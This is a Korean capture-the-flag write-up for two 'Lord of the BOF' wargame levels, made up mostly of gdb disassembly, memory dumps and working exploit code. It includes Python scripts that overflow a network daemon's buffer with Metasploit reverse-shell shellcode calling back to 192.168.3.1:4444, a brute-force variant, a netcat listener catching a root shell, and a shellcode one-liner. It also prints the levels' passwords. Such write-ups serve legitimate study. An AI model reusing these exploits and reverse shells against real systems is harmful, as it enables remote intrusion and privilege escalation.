xavius 644 643 0 23:09 pts/0 00:00:00 -bash2
xavius 682 644 0 23:23 pts/0 00:00:00 ./death_knight_modify
xavius 916 682 0 23:34 pts/0 00:00:00 ./death_knight_modify
xavius 919 644 0 23:35 pts/0 00:00:00 ps -ef
xavius 920 644 0 23:35 pts/0 00:00:00 -bash2
[xavius@localhost xavius]$ 

PID 682번이 자식 프로세스로 916 PID 프로세스를 생성했음을 알 수 있다. 따라서 우리는 916 프로세스에 attach를 하여 디버깅을 해야 한다. 디버깅 하는 과정은 아래와 같다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166


[xavius@localhost xavius]$ gdb death_knight_modify
GNU gdb 19991004
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux"...
(gdb) attach 916
Attaching to program: /home/xavius/death_knight_modify, Pid 916
Reading symbols from /lib/libc.so.6...done.
Reading symbols from /lib/ld-linux.so.2...done.
0x400cabc2 in __libc_recv () from /lib/libc.so.6
(gdb) disassemble main
Dump of assembler code for function main:
0x80488c4 <main>: push %ebp
0x80488c5 <main+1>: mov %esp,%ebp
0x80488c7 <main+3>: sub $0x54,%esp
0x80488ca <main+6>: push $0x0
0x80488cc <main+8>: push $0x1
0x80488ce <main+10>: push $0x2
0x80488d0 <main+12>: call 0x804861c <socket>
0x80488d5 <main+17>: add $0xc,%esp
0x80488d8 <main+20>: mov %eax,%eax
0x80488da <main+22>: mov %eax,0xffffffd4(%ebp)
0x80488dd <main+25>: cmpl $0xffffffff,0xffffffd4(%ebp)
0x80488e1 <main+29>: jne 0x8048900 <main+60>
0x80488e3 <main+31>: push $0x8048afb
0x80488e8 <main+36>: call 0x804853c <perror>
0x80488ed <main+41>: add $0x4,%esp
0x80488f0 <main+44>: push $0x1
0x80488f2 <main+46>: call 0x80485dc <exit>
0x80488f7 <main+51>: add $0x4,%esp
0x80488fa <main+54>: lea 0x0(%esi),%esi
0x8048900 <main+60>: movw $0x2,0xffffffc0(%ebp)
0x8048906 <main+66>: push $0x7a69
0x804890b <main+71>: call 0x80485fc <htons>
0x8048910 <main+76>: add $0x4,%esp
0x8048913 <main+79>: mov %eax,%eax
0x8048915 <main+81>: mov %ax,0xffffffc2(%ebp)
0x8048919 <main+85>: movl $0x0,0xffffffc4(%ebp)
0x8048920 <main+92>: push $0x8
0x8048922 <main+94>: lea 0xffffffc0(%ebp),%eax
0x8048925 <main+97>: lea 0x8(%eax),%edx
0x8048928 <main+100>: push %edx
0x8048929 <main+101>: call 0x80485cc <bzero>
0x804892e <main+106>: add $0x8,%esp
0x8048931 <main+109>: push $0x10
0x8048933 <main+111>: lea 0xffffffc0(%ebp),%edx
0x8048936 <main+114>: mov %edx,%eax
0x8048938 <main+116>: push %eax
---Type <return> to continue, or q <return> to quit---
0x8048939 <main+117>: mov 0xffffffd4(%ebp),%eax
0x804893c <main+120>: push %eax
0x804893d <main+121>: call 0x80485bc <bind>
0x8048942 <main+126>: add $0xc,%esp
0x8048945 <main+129>: mov %eax,%eax
0x8048947 <main+131>: cmp $0xffffffff,%eax
0x804894a <main+134>: jne 0x8048963 <main+159>
0x804894c <main+136>: push $0x8048b02
0x8048951 <main+141>: call 0x804853c <perror>
0x8048956 <main+146>: add $0x4,%esp
0x8048959 <main+149>: push $0x1
0x804895b <main+151>: call 0x80485dc <exit>
0x8048960 <main+156>: add $0x4,%esp
0x8048963 <main+159>: push $0xa
0x8048965 <main+161>: mov 0xffffffd4(%ebp),%eax
0x8048968 <main+164>: push %eax
0x8048969 <main+165>: call 0x804856c <listen>
0x804896e <main+170>: add $0x8,%esp
0x8048971 <main+173>: mov %eax,%eax
0x8048973 <main+175>: cmp $0xffffffff,%eax
0x8048976 <main+178>: jne 0x8048990 <main+204>
0x8048978 <main+180>: push $0x8048b07
0x804897d <main+185>: call 0x804853c <perror>
0x8048982 <main+190>: add $0x4,%esp
0x8048985 <main+193>: push $0x1
0x8048987 <main+195>: call 0x80485dc <exit>
0x804898c <main+200>: add $0x4,%esp
0x804898f <main+203>: nop 
0x8048990 <main+204>: nop 
0x8048991 <main+205>: jmp 0x8048998 <main+212>
0x8048993 <main+207>: jmp 0x8048a60 <main+412>
0x8048998 <main+212>: movl $0x10,0xffffffac(%ebp)
0x804899f <main+219>: lea 0xffffffac(%ebp),%eax
0x80489a2 <main+222>: push %eax
0x80489a3 <main+223>: lea 0xffffffb0(%ebp),%edx
0x80489a6 <main+226>: mov %edx,%eax
0x80489a8 <main+228>: push %eax
---Type <return> to continue, or q <return> to quit---
0x80489a9 <main+229>: mov 0xffffffd4(%ebp),%eax
0x80489ac <main+232>: push %eax
0x80489ad <main+233>: call 0x804855c <accept>
0x80489b2 <main+238>: add $0xc,%esp
0x80489b5 <main+241>: mov %eax,%eax
0x80489b7 <main+243>: mov %eax,0xffffffd0(%ebp)
0x80489ba <main+246>: cmpl $0xffffffff,0xffffffd0(%ebp)
0x80489be <main+250>: jne 0x80489d0 <main+268>
0x80489c0 <main+252>: push $0x8048b0e
0x80489c5 <main+257>: call 0x804853c <perror>
0x80489ca <main+262>: add $0x4,%esp
0x80489cd <main+265>: jmp 0x8048991 <main+205>
0x80489cf <main+267>: nop 
0x80489d0 <main+268>: call 0x804854c <fork>
0x80489d5 <main+273>: mov %eax,%eax
0x80489d7 <main+275>: test %eax,%eax
0x80489d9 <main+277>: jne 0x8048a30 <main+364>
0x80489db <main+279>: push $0x0
0x80489dd <main+281>: push $0x34
0x80489df <main+283>: push $0x8048b20
0x80489e4 <main+288>: mov 0xffffffd0(%ebp),%eax
0x80489e7 <main+291>: push %eax
0x80489e8 <main+292>: call 0x80485ec <send>
0x80489ed <main+297>: add $0x10,%esp
0x80489f0 <main+300>: push $0x0
0x80489f2 <main+302>: push $0x6
0x80489f4 <main+304>: push $0x8048b55
0x80489f9 <main+309>: mov 0xffffffd0(%ebp),%eax
0x80489fc <main+312>: push %eax
0x80489fd <main+313>: call 0x80485ec <send>
0x8048a02 <main+318>: add $0x10,%esp
0x8048a05 <main+321>: push $0x0
0x8048a07 <main+323>: push $0x100
0x8048a0c <main+328>: lea 0xffffffd8(%ebp),%eax
0x8048a0f <main+331>: push %eax
0x8048a10 <main+332>: mov 0xffffffd0(%ebp),%eax
0x8048a13 <main+335>: push %eax
---Type <return> to continue, or q <return> to quit---
0x8048a14 <main+336>: call 0x804860c <recv>
0x8048a19 <main+341>: add $0x10,%esp
0x8048a1c <main+344>: mov 0xffffffd0(%ebp),%eax
0x8048a1f <main+347>: push %eax
0x8048a20 <main+348>: call 0x804852c <close>
0x8048a25 <main+353>: add $0x4,%esp
0x8048a28 <main+356>: jmp 0x8048a60 <main+412>
0x8048a2a <main+358>: lea 0x0(%esi),%esi
0x8048a30 <main+364>: mov 0xffffffd0(%ebp),%eax
0x8048a33 <main+367>: push %eax
0x8048a34 <main+368>: call 0x804852c <close>
0x8048a39 <main+373>: add $0x4,%esp
0x8048a3c <main+376>: lea 0x0(%esi,1),%esi
0x8048a40 <main+380>: push $0x1
0x8048a42 <main+382>: push $0x0
0x8048a44 <main+384>: push $0xffffffff
0x8048a46 <main+386>: call 0x804858c <waitpid>
0x8048a4b <main+391>: add $0xc,%esp
0x8048a4e <main+394>: mov %eax,%eax
0x8048a50 <main+396>: test %eax,%eax
0x8048a52 <main+398>: jg 0x8048a56 <main+402>
0x8048a54 <main+400>: jmp 0x8048a58 <main+404>
0x8048a56 <main+402>: jmp 0x8048a40 <main+380>
0x8048a58 <main+404>: jmp 0x8048991 <main+205>
0x8048a5d <main+409>: lea 0x0(%esi),%esi
0x8048a60 <main+412>: mov 0xffffffd4(%ebp),%eax
0x8048a63 <main+415>: push %eax
0x8048a64 <main+416>: call 0x804852c <close>
0x8048a69 <main+421>: add $0x4,%esp
0x8048a6c <main+424>: leave 
0x8048a6d <main+425>: ret 
0x8048a6e <main+426>: nop 
0x8048a6f <main+427>: nop 
End of assembler dump.
(gdb) b *main+341
Breakpoint 1 at 0x8048a19
(gdb) c
Continuing.

위와 같이 작업을 한 후 실행한 Python 공격코드에서 엔터를 치게 되면 우리가 지정한 브레이크 포인트에 멈추게 된다. 멈추가 되면 그때 스택의 주소를 확인하면 된다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25


Breakpoint 1, 0x8048a19 in main ()
(gdb) x/32wx $esp
0xbffffaa4: 0x00000004 0xbffffae0 0x00000100 0x00000000
0xbffffab4: 0x00000010 0xe60a0002 0x0103a8c0 0x00000246
0xbffffac4: 0x023a2065 0x697a0002 0x00000000 0x00000000
0xbffffad4: 0x00000000 0x00000004 0x00000003 0x41414141
0xbffffae4: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffaf4: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffb04: 0x41414141 0x41414141 0xbbbbbbbb 0x90909090
0xbffffb14: 0x90909090 0x90909090 0x90909090 0x90909090
(gdb) 
0xbffffb24: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffb34: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffb44: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffb54: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffb64: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffb74: 0xe3f7db31 0x6a534353 0xb0e18902 0x5b80cd66
0xbffffb84: 0xa8c0685e 0x68660103 0x53665c11 0x5051106a
0xbffffb94: 0x6a43e189 0x80cd5866 0xb0d98759 0x4980cd3f
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0xbbbbbbbb in ?? ()
(gdb) 

실행 후 확인한 결과 우리가 원하는 대로 리턴 주소가 0xbbbbbbbb로 변경되었음을 알 수 있다. 따라서 아래와 같이 PAYLOAD를 작성 후 공격을 진행하면 될 것으로 보인다.

[AAA..... 44 Byte] [NOP가 위치한 주소, 넉넉잡아 0xbffffb34] [NOP, 100 Byte] [SHELLCODE]

공격코드를 작성하면 아래와 같다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53


#!/usr/bin/env python
import sys
import socket
import time
from struct import pack

# linux/x86/shell_reverse_tcp - 71 bytes
# http://www.metasploit.com
# LHOST=192.168.3.1, LPORT=4444, ReverseConnectRetries=5,
# PrependSetresuid=false, PrependSetreuid=false,
# PrependSetuid=false, PrependChrootBreak=false,
# AppendExit=false, InitialAutoRunScript=, AutoRunScript=
shellcode = ''
shellcode += '\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd'
shellcode += '\x80\x5b\x5e\x68\xc0\xa8\x03\x01\x66\x68\x11\x5c\x66\x53'
shellcode += '\x6a\x10\x51\x50\x89\xe1\x43\x6a\x66\x58\xcd\x80\x59\x87'
shellcode += '\xd9\xb0\x3f\xcd\x80\x49\x79\xf9\x50\x68\x2f\x2f\x73\x68'
shellcode += '\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd'
shellcode += '\x80'

def send_payload(host, port, payload):
 print '[+] Connect - %s:%d' % (host, port)
 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 s.connect((host, port))

 a = s.recv(128)
 print '[+] Receive - %s' % a

 #######################
 # DEGUG
 # debug = raw_input('Please hit enter to continue')
 #######################

 print '[+] Sending Payload'
 s.send(payload)

 s.close()

def main():
 host = '192.168.3.129'
 port = 31337

 payload = ''
 payload += 'A'*44
 payload += pack('<L', 0xbffffb34)
 payload += '\x90'*100
 payload += shellcode

 send_payload(host, port, payload)

if __name__ == '__main__':
 print '[+] Strat!'
 main()

위 코드로 공격을 진행하기 전 netcat으로 아래와 같이 리스닝 모드로 대기한 후 공격코드를 실행하면 연결이 됨을 확인할 수 있다.

1
2
3
4
5
6
7
8
9


Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\cygwin\bin>nc -l -p 4444 -vvv
listening on [any] 4444 ...
192.168.3.129: inverse host lookup failed: : Operation not permitted
connect to [192.168.3.1] from (UNKNOWN) [192.168.3.129] 1026
id
uid=519(xavius) gid=519(xavius) groups=519(xavius)

이제 본 프로그램에 공격을 하자. 위 코드로 포트만 6666 으로 변경 후 공격을 해보면 공격이 성공하지 않음을 알 수 있다. 이는 리턴주소가 우리가 디버깅한 데몬이랑 약간 차이가 나서 그럴 것으로 보인다. 따라서 우리가 확인한 주소에서 조금씩 더해가며 브루트포스 공격을 해야 한다. 수정한 공격 코드는 아래와 같다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55


#!/usr/bin/env python
import sys
import socket
import time
from struct import pack

# linux/x86/shell_reverse_tcp - 71 bytes
# http://www.metasploit.com
# LHOST=192.168.3.1, LPORT=4444, ReverseConnectRetries=5,
# PrependSetresuid=false, PrependSetreuid=false,
# PrependSetuid=false, PrependChrootBreak=false,
# AppendExit=false, InitialAutoRunScript=, AutoRunScript=
shellcode = ''
shellcode += '\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd'
shellcode += '\x80\x5b\x5e\x68\xc0\xa8\x03\x01\x66\x68\x11\x5c\x66\x53'
shellcode += '\x6a\x10\x51\x50\x89\xe1\x43\x6a\x66\x58\xcd\x80\x59\x87'
shellcode += '\xd9\xb0\x3f\xcd\x80\x49\x79\xf9\x50\x68\x2f\x2f\x73\x68'
shellcode += '\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd'
shellcode += '\x80'

def send_payload(host, port, payload):
 print '[+] Connect - %s:%d' % (host, port)
 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 s.connect((host, port))

 a = s.recv(128)
 print '[+] Receive - %s' % a

 #######################
 # DEGUG
 # debug = raw_input('Please hit enter to continue')
 #######################

 print '[+] Sending Payload'
 s.send(payload)

 s.close()

def main():
 for x in range(1, 1000):
 print hex(0xbffffb34+x)
 host = '192.168.3.129'
 port = 6666

 payload = ''
 payload += 'A'*44
 payload += pack( '<L', 0xbffffb34+(x*4) )
 payload += '\x90'*100
 payload += shellcode

 send_payload(host, port, payload)

if __name__ == '__main__':
 print '[+] Strat!'
 main()

0xbffffb34 주소에서 4씩 증가시키며 공격을 진행하는 코드이다. 실행 후 잠시 기다리면 아래와 같이 쉘을 획득할 수 있다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47


Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\cygwin\bin>nc -l -p 4444 -vvv
listening on [any] 4444 ...
192.168.3.129: inverse host lookup failed: : Operation not permitted
connect to [192.168.3.1] from (UNKNOWN) [192.168.3.129] 1026
id
uid=519(xavius) gid=519(xavius) groups=519(xavius)
 sent 3, rcvd 51

C:\cygwin\bin>
C:\cygwin\bin>nc -l -p 4444 -vvv
listening on [any] 4444 ...
192.168.3.129: inverse host lookup failed: : Operation not permitted
connect to [192.168.3.1] from (UNKNOWN) [192.168.3.129] 1027
id
uid=0(root) gid=0(root) euid=520(death_knight) egid=520(death_knight)
my-pass
euid = 520
got the life
cd /home/death_knight/
ls
dropped_item.txt
cat dropped_item.txt

 You're so great! This is a token to the next gate.

 ,.
 ,' `.
 ,' _<>_ `.
 ,'.-'____`-.`.
 ,'_.-'' ``-._`.
 ,',' /\  `.`.
 ,' /.._ O / \ O _.,\ `.
 ,'/ / \ ``-;.--.:-'' / \ \`.
 ,' : : \ /\`.,'/\  / : : `.
 < <>| | O >(< ( ) >)< O | |<> >
 `. : : / \/,'`.\/ \ ; ; ,'
 `.\ \  /_..-:`--';-.._\ / /,'
 `. \`' O \ / O `'/ ,'
 `.`._ \/ _,','
 `..``-.____.-'',,'
 `.`-.____.-','
 `. <> ,'
 `. ,'
 `'

BOF 원정대 - Level 19 (xavius)

Wed, 09 Feb 2011 15:09:59 +0000

우선 문제 소스는 아래와 같다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52


/*
 The Lord of the BOF : The Fellowship of the BOF
- xavius
- arg
*/

#include <stdio.h>
#include <stdlib.h>
#include <dumpcode.h>

main()
{
 char buffer[40];
 char *ret_addr;

 // overflow!
 fgets(buffer, 256, stdin);
 printf(%s\n, buffer);

 if(*(buffer+47) == '\xbf')
 {
 printf(stack retbayed you!\n);
 exit(0);
 }

 if(*(buffer+47) == '\x08')
 {
 printf(binary image retbayed you, too!!\n);
 exit(0);
 }

 // check if the ret_addr is library function or not
 memcpy(&ret_addr, buffer+44, 4);
 while(memcmp(ret_addr, \x90\x90, 2) != 0) // end point of function
 {
 if(*ret_addr == '\xc9'){ // leave
 if(*(ret_addr+1) == '\xc3'){ // ret
 printf(You cannot use library function!\n);
 exit(0);
 }
 }
 ret_addr++; 
 }

 // stack destroyer
 memset(buffer, 0, 44);
 memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48));

 // LD_* eraser
 // 40 : extra space for memset function
 memset(buffer-3000, 0, 3000-40);
}

문제 소스를 보면 fgets() 함수에서 오버플로우가 남을 알 수 있다. 한번 테스트를 해보도록 하자.

1
2
3
4
5
6


[nightmare@localhost nightmare]$ ./xavius
123456789012345678901234567890123456789012345678
123456789012345678901234567890123456789012345678

Segmentation fault
[nightmare@localhost nightmare]$ 

예상했던대로 오버플로우가 난다. 하지만 문제 소스를 보면 RET 주소를 넣어야 할 부분에 \xbf와 \x08 값을 넣지 못하도록 제한하고 있다. 그리고 추기로 ret 및 leave 명령어도 제한하고 있으므로 지금까지 해왔던 공격 방법으로는 불가능하다.

여기서 부턴 도저히 풀리지가 않아 검색을 통해 알아내었다. 우선 fgets 함수를 살펴보면 stdin 버퍼에 입력값을 저장을 한다. 따라서 메모리 어딘가에 stdin 버퍼가 있을것이며 그 부분을 찾으면 된다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129


[nightmare@localhost nightmare]$ gdb xaviuu 
GNU gdb 19991004
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type show copying to see the conditions.
There is absolutely no warranty for GDB. Type show warranty for details.
This GDB was configured as i386-redhat-linux...
(gdb) disassemble main
Dump of assembler code for function main:
0x8048714 <main>: push %ebp
0x8048715 <main+1>: mov %esp,%ebp
0x8048717 <main+3>: sub $0x2c,%esp
0x804871a <main+6>: mov 0x8049a3c,%eax
0x804871f <main+11>: push %eax
0x8048720 <main+12>: push $0x100
0x8048725 <main+17>: lea 0xffffffd8(%ebp),%eax
0x8048728 <main+20>: push %eax
0x8048729 <main+21>: call 0x8048408 <fgets>
0x804872e <main+26>: add $0xc,%esp
0x8048731 <main+29>: lea 0xffffffd8(%ebp),%eax
0x8048734 <main+32>: push %eax
0x8048735 <main+33>: push $0x80488bb
0x804873a <main+38>: call 0x8048438 <printf>
0x804873f <main+43>: add $0x8,%esp
0x8048742 <main+46>: cmpb $0xbf,0x7(%ebp)
0x8048746 <main+50>: jne 0x8048760 <main+76>
0x8048748 <main+52>: push $0x80488bf
0x804874d <main+57>: call 0x8048438 <printf>
0x8048752 <main+62>: add $0x4,%esp
0x8048755 <main+65>: push $0x0
0x8048757 <main+67>: call 0x8048458 <exit>
0x804875c <main+72>: add $0x4,%esp
0x804875f <main+75>: nop 
0x8048760 <main+76>: cmpb $0x8,0x7(%ebp)
0x8048764 <main+80>: jne 0x8048780 <main+108>
0x8048766 <main+82>: push $0x80488e0
0x804876b <main+87>: call 0x8048438 <printf>
0x8048770 <main+92>: add $0x4,%esp
0x8048773 <main+95>: push $0x0
0x8048775 <main+97>: call 0x8048458 <exit>
0x804877a <main+102>: add $0x4,%esp
0x804877d <main+105>: lea 0x0(%esi),%esi
0x8048780 <main+108>: push $0x4
0x8048782 <main+110>: lea 0xffffffd8(%ebp),%eax
0x8048785 <main+113>: lea 0x2c(%eax),%edx
0x8048788 <main+116>: push %edx
0x8048789 <main+117>: lea 0xffffffd4(%ebp),%eax
0x804878c <main+120>: push %eax
0x804878d <main+121>: call 0x8048448 <memcpy>
---Type <return> to continue, or q <return> to quit---
0x8048792 <main+126>: add $0xc,%esp
0x8048795 <main+129>: push $0x2
0x8048797 <main+131>: push $0x8048902
0x804879c <main+136>: mov 0xffffffd4(%ebp),%eax
0x804879f <main+139>: push %eax
0x80487a0 <main+140>: call 0x8048418 <memcmp>
0x80487a5 <main+145>: add $0xc,%esp
0x80487a8 <main+148>: mov %eax,%eax
0x80487aa <main+150>: test %eax,%eax
0x80487ac <main+152>: jne 0x80487b0 <main+156>
0x80487ae <main+154>: jmp 0x80487e0 <main+204>
0x80487b0 <main+156>: mov 0xffffffd4(%ebp),%eax
0x80487b3 <main+159>: cmpb $0xc9,(%eax)
0x80487b6 <main+162>: jne 0x80487d8 <main+196>
0x80487b8 <main+164>: mov 0xffffffd4(%ebp),%eax
0x80487bb <main+167>: inc %eax
0x80487bc <main+168>: cmpb $0xc3,(%eax)
0x80487bf <main+171>: jne 0x80487d8 <main+196>
0x80487c1 <main+173>: push $0x8048920
0x80487c6 <main+178>: call 0x8048438 <printf>
0x80487cb <main+183>: add $0x4,%esp
0x80487ce <main+186>: push $0x0
0x80487d0 <main+188>: call 0x8048458 <exit>
0x80487d5 <main+193>: add $0x4,%esp
0x80487d8 <main+196>: incl 0xffffffd4(%ebp)
0x80487db <main+199>: jmp 0x8048795 <main+129>
0x80487dd <main+201>: lea 0x0(%esi),%esi
0x80487e0 <main+204>: push $0x2c
0x80487e2 <main+206>: push $0x0
0x80487e4 <main+208>: lea 0xffffffd8(%ebp),%eax
0x80487e7 <main+211>: push %eax
0x80487e8 <main+212>: call 0x8048468 <memset>
0x80487ed <main+217>: add $0xc,%esp
0x80487f0 <main+220>: lea 0xffffffd8(%ebp),%eax
0x80487f3 <main+223>: mov $0xbfffffcf,%edx
0x80487f8 <main+228>: mov %edx,%ecx
0x80487fa <main+230>: sub %eax,%ecx
0x80487fc <main+232>: mov %ecx,%eax
0x80487fe <main+234>: push %eax
0x80487ff <main+235>: push $0x0
0x8048801 <main+237>: lea 0xffffffd8(%ebp),%eax
---Type <return> to continue, or q <return> to quit---
0x8048804 <main+240>: lea 0x30(%eax),%edx
0x8048807 <main+243>: push %edx
0x8048808 <main+244>: call 0x8048468 <memset>
0x804880d <main+249>: add $0xc,%esp
0x8048810 <main+252>: push $0xb90
0x8048815 <main+257>: push $0x0
0x8048817 <main+259>: lea 0xffffffd8(%ebp),%eax
0x804881a <main+262>: lea 0xfffff448(%eax),%edx
0x8048820 <main+268>: push %edx
0x8048821 <main+269>: call 0x8048468 <memset>
0x8048826 <main+274>: add $0xc,%esp
0x8048829 <main+277>: leave 
0x804882a <main+278>: ret 
0x804882b <main+279>: nop 
0x804882c <main+280>: nop 
0x804882d <main+281>: nop 
0x804882e <main+282>: nop 
0x804882f <main+283>: nop 
End of assembler dump.
(gdb) b *main+26
Breakpoint 1 at 0x804872e
(gdb) r
Starting program: /home/nightmare/xaviuu 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCC

Breakpoint 1, 0x804872e in main ()
(gdb) x/32wx 0x40015000
0x40015000: 0x41414141 0x41414141 0x41414141 0x41414141
0x40015010: 0x41414141 0x41414141 0x41414141 0x41414141
0x40015020: 0x41414141 0x41414141 0x42424242 0x43434343
0x40015030: 0x0000000a 0x00000000 0x00000000 0x00000000
0x40015040: 0x00000000 0x00000000 0x00000000 0x00000000
0x40015050: 0x00000000 0x00000000 0x00000000 0x00000000
0x40015060: 0x00000000 0x00000000 0x00000000 0x00000000
0x40015070: 0x00000000 0x00000000 0x00000000 0x00000000
(gdb) 

0x40015000 위치에 입력한 값이 저장되어 있음을 알 수 있다. 따라서 PAYLOAD는 아래와 같이 구성하면 된다.

[NOP + SHELLCODE, 44 Byte] [0x40015000]

1
2
3
4
5
6
7
8


[nightmare@localhost nightmare]$ (python -c print '\x90'*19 + '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80' + '\x00\x50\x01\x40'; cat) | ./xavius 
/shh/bin

 id
uid=518(nightmare) gid=518(nightmare) euid=519(xavius) egid=519(xavius) groups=518(nightmare)
my-pass
euid = 519
throw me away